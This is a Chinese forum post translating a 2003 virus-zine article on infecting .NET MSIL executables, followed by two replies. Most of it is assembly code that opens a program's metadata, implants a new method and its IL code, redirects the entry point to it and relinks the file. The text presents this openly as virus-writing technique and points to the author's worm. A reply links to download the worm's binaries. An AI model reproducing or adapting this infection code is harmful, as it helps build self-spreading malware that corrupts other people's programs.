首页
论坛
课程
招聘
[原创]MSIL-PE-EXE 感染策略
2010-2-6 00:19 6430

[原创]MSIL-PE-EXE 感染策略

2010-2-6 00:19
6430
MSIL-PE-EXE 感染策略
排版有点乱,感兴趣的朋友还是看附件里面的word文档吧.
翻译 by littlewisp  2010-02-06
不妥之处,敬请指出。
http://vxheavens.com/lib/vbe00.html
在我的上一篇关于.NET平台的文章“Microsoft .NET Common Language Runtime Overview”中,我介绍了.NET 平台Beta2给我们提供的技术。演示了一个用C#写的针对.NET程序的感染者(叫做”Donut” by Averz)。发布Beta2不久之后微软发布了新的Visual Studio .NET版本。从发布Beta2那时起基本上没改变,该版本跟Beta2版本差别不大。但我有更多的时间,文挡和知识来探索该环境。

当我编写I-Worm.Serotonin的时候,我想比Donut更深入一步。Donut能以某些特殊的方式用自己的东西替换CLR头和元数据,但没有有效的方式来返回来执行宿主程序。我确信必定有方法来编写.NET程序真正的感染者。时间一天天过去,下一步在等待。不替换但通过添加新的病毒数据来感染元数据,来保证它们激活后返回宿主程序。这意味着分析元数据的结构并且找到一种新的方法来给当前代码来植入新的成员,不会在用户的屏幕上带来任何的bug和可疑的行为。

当我分析CLR文档的时候我发现该环境有非常丰富的接口来与CLR交互,并且非常透明,它可以在托管程序内部访问,也可以在外部访问(对于本地程序来说)。通过工具和帮助,程序不必直接访问元数据。他们只需要调用正确的环境函数。编译器,链接器,调试器不需要知道内部结构,一切由系统托管。
注意:包含COR.INC用来帮助应对CLR和元数据,可以在29A#7中找到。你可以在MSVS_NET_PATH\FrameworkSDK\Tool Developers guide\docs路径里找到详细的文挡。
我以前说过,CLR环境提供了一些COM接口,基础的接口(文中讨论的)如下:

用来打开元数据的:
  IMetaDataDispenser
  IMetaDataDispenserEx
用来修改元数据(和清单)的:
  IMetaDataEmit
  IMetaDataAssemblyEmit
用来分析元数据(和清单)的:
  IMetaDataImport
  IMetaDataAssemblyImport

我将以最简单的任务开始。让我们打开存储在磁盘上的原数据。首先我们要初始化COM,然后创建”Dispenser”对象,该对象会给我们提供需要的接口。代码如下:

  push  0      ;reserved, must be 0
  call  CoInitialize
  push  offset ppv    ;pointer to returned interface
  call  @over_iid
  IID_IMetaDataDispenserEx  ;required interface identifier
@over_iid:
  push  1      ;CLSCTX_INPROC_SERVER
  push  0      ;not part of an agregate
  call  @over_clsid
  CLSID_CorMetaDataDispenser  ;object identifier
@over_clsid:
  call  CoCreateInstance

现在我们有了ImetaDataDispenserEx接口的指针,我们可以调用它的方法:
  DefineScope
  OpenScope
  OpenScopeOnMemory

最有趣的方法是是OpenScope,它允许优雅的访问磁盘上可执行文件。该方法返回一个接口。((IMetaDataEmit, IMetaDataImport, IMetaDataAssemblyEmit or IMetaDataAssemblyImport),通过接口我们可以访问元数据成员。
  push  offset pEmit    ;pointer to returned interface
  call  @over_iid2
  IID_IMetaDataEmit    ;requested interface identifier
@over_iid2:
  push  0      ;open for read (1 for write)
  call  @over_wsz    ;filename in unicode
  dw  'c',':','\','p','r','o','g','.','e','x','e',0
@over_wsz:
  mov  eax,[ppv]    ;EAX = pointer to Dispenser object
  push  eax      ;"this" calling convention
  mov  eax,[eax]
  call  [eax.IMetaDataDispenser_OpenScope]

现在我们来做一些更难的事情——在元数据里声明新的全局的方法"void METHOD_IMPLANTED()"
  push  offset mdToken    ;returned method token
  push  0      ;implementation flags
  push  0      ;RVA of method IL code (can be set l8er by SetRVA method)
  push  3      ;number of bytes in signature
  call  @over_sig
  db  IMAGE_CEE_CS_CALLCONV_HASTHIS,0,ELEMENT_TYPE_VOID
@over_sig:        ;method signature (in/out arguments)
  push  mdPrivate or mdStatic  ;method attributes
  call  @over_wsz2
  dw  'M','E','T','H','O','D','_','I','M','P','L','A','N','T','E','D',0
@over_wsz2:        ;method name
  push  0      ;0 = global method
  mov  eax,[pEmit]    ;EAX = pointer to Emitter
  push  eax
  mov  eax,[eax]
  call  [eax.IMetaDataEmit_DefineMethod]

相同的我们也可以调用其它的Emitter方法,当一切完成之后,不要忘记了在内存中释放所有的对象。
  mov  eax,[pEmit]
  push  eax
  mov  eax,[eax]
  call  [eax.IUnknown_Release]

  mov  eax,[ppv]
  push  eax
  mov  eax,[eax]
  call  [eax.IUnknown_Release]

我不会更详细的介绍了,所有的方法(由编译器来产生元数据使用的)有非常好的文档。最好看一下其它有非常有用但是没有被文挡化的东西——连接器的接口。你可能知道元数据本身并足够来执行程序。元数据知识描述了程序的对象布局。全功能的程序必须被连接为PE文件,其中不止存储元数据还有MSIL代码——可以存储在任何可读的区段中。所以,我们必须用新的元数据重新编译和重新连接。
我唯一能找到的文件头文档存储在MSVS_NET_Path\FrameworkSDK\Include\ICeeFileGen.h文件中,该文件描述了IceeFileGen 类和该类的所有公共方法。在这里也描述两个API, CreateICeeFileGen and DestroyICeeFileGen。源码帮助我们理解它是一个对象的描述,该对象用来执行生成文件,但是我们在哪里能找到代码呢?
观察.NET框架的核心文件夹(.NET Framework core (%windir%\Microsoft.NET\Framework\v1.0.3705\) 注意mscorpe.dll。这是我们要找的宝贵财富。检查它导出的API你会发现和ICeeFileGen.h文件描述的正好相符。
好,我们继续:
  @pushsz  'mscorpe'    ;name of DLL
  call  LoadLibraryA    ;load it
  xchg  eax,ebx      ;address in EBX

  @pushsz  'DestroyICeeFileGen'
  push  ebx
  call  GetProcAddress
  xchg  eax,esi      ;address of DestroyICeeFileGen API in ESI

  @pushsz  'CreateICeeFileGen'
  push  ebx
  call  GetProcAddress    ;address of CreateICeeFileGen API in EAX

  push  offset ICeeFileGen  ;pointer to interface variable
  call  eax      ;create object interface

  mov  edi,[ICeeFileGen]  ;pointer to interface in EDI
  mov  edi,[edi]    ;interface in EDI

  push  offset file_handle
  call  [edi.ICeeFileGen_CreateCeeFile]
          ;object initialization

  call  @over_outwsz
  dw  'c',':','\','o','u','t','p','u','t','.','e','x','e',0
@over_outwsz:
  push  [file_handle]
  call  [edi.ICeeFileGen_SetOutputFileName]
          ;set output file to "c:\output.exe"

  ;we also have to write new IL code to our file. we will reserve a place in PE
  ;file (so called "section") and copy there our data. everything is done in
  ;memory, all datas are flushed on disk at final stage.

  push  [file_handle]
  call  [edi.ICeeFileGen_LinkCeeFile]
          ;before we will start to work with addresses
          ;we have to re-link program in memory

  push  offset il_section
  push  [file_handle]
  call  [edi.ICeeFileGen_GetIlSection]
          ;request section for IL code

  push  offset il_section_rva
  push  [il_section]
  call  [edi.ICeeFileGen_GetSectionRVA]
          ;we have to know RVA of section

  push  offset raw_il_section
  push  1
  push  4
  push  [il_section]
  call  [edi.ICeeFileGen_GetSectionBlock]
          ;allocate 4 bytes. we won't use them, it is
          ;only a trick to get offset in section

  push  offset il_section_offset
  push  [raw_il_section]
  push  [il_section]
  call  [edi.ICeeFileGen_ComputeSectionOffset]
          ;now we know offset in our section

  ;we will set RVA of our new method

  mov  eax,offset il_section_rva
  push  eax      ;EAX = section address
  add  [eax],12345678h    ;EAX += offset in section
il_section_offset = dword ptr $-4
  add  dword ptr [eax],4  ;EAX += 4 (we have to skip first allocated bytes)
  push  dword ptr [eax]
  push  [mdToken]
  mov  eax,[pEmit]
  push  eax
  mov  eax,[eax]
  call  [eax.IMetaDataEmit_SetRVA]

  ;we will reserve next place for our code, immediately following our 4 bytez

  push  offset raw_il_section
  push  1
  push  IL_code_size
  push  [il_section]
  call  [edi.ICeeFileGen_GetSectionBlock]

  pushad
  mov  esi,offset IL_code  ;address of IL code of our new method
  mov  edi,12345678h    ;target memory address
raw_il_section = dword ptr $-4
  mov  ecx,IL_code_size  ;size of IL code
  rep  movsb      ;copy IL code to file
  popad

  ...        ;other stuff defining parameters of linking

  push  [mdToken]
  push  [file_handle]
  call  [edi.ICeeFileGen_SetEntryPoint]
          ;set entrypoint to our new method

  push  [pEmit]
  push  [file_handle]
  call  [edi.ICeeFileGen_EmitMetaDataEx]
          ;write metadata to file

  push  [file_handle]
  call  [edi.ICeeFileGen_LinkCeeFile]
          ;re-link PE file in memory

  push  [file_handle]
  call  [edi.ICeeFileGen_GenerateCeeFile]
          ;write PE file to disk

  push  offset file_handle
  call  [edi.ICeeFileGen_DestroyCeeFile]
          ;unitialize object
  push  offset ICeeFileGen
  call  esi      ;release object from memory

  push  ebx
  call  FreeLibrary    ;release library from memory

就到这里吧。你可以看出,非常简单而且有效。如果你想看在这基础之上的真正的工作的代码,请看我的I-Worm.Serotonin.。这里提到的所有的和更多更多的东西可以在里面发现。
.NET CLR环境非常易被病毒深入,它提供了一种假设,作者不关心实现方面的东西。该环境中还有我许多没有描述的功能。一切皆有可能。我确信可以在.net上使用我们在Win32世界中所了解的病毒的技术和策略。这只取决于我们在.NET恶意代码上所花费的耐心和时间。

  ..............................
  .
  .  Jan 25 2003  Benny/29A
  .    benny@post.cz
  .
  ... searching for perfection ...

[招聘] 欢迎你加入看雪团队!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 111
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bbbsl 活跃值 2010-2-13 02:11
2
0
支持下,7年前的东西了,不过29a的东西还是不错的
雪    币: 2833
活跃值: 活跃值 (224)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
littlewisp 活跃值 2 2010-2-17 21:53
3
0
I-Worm.Serotonin下载地址  http://borax.polux-hosting.com/madchat/vxdevl/vxmags/29a-7fe/Binaries/Benny/
游客
登录 | 注册 方可回帖
返回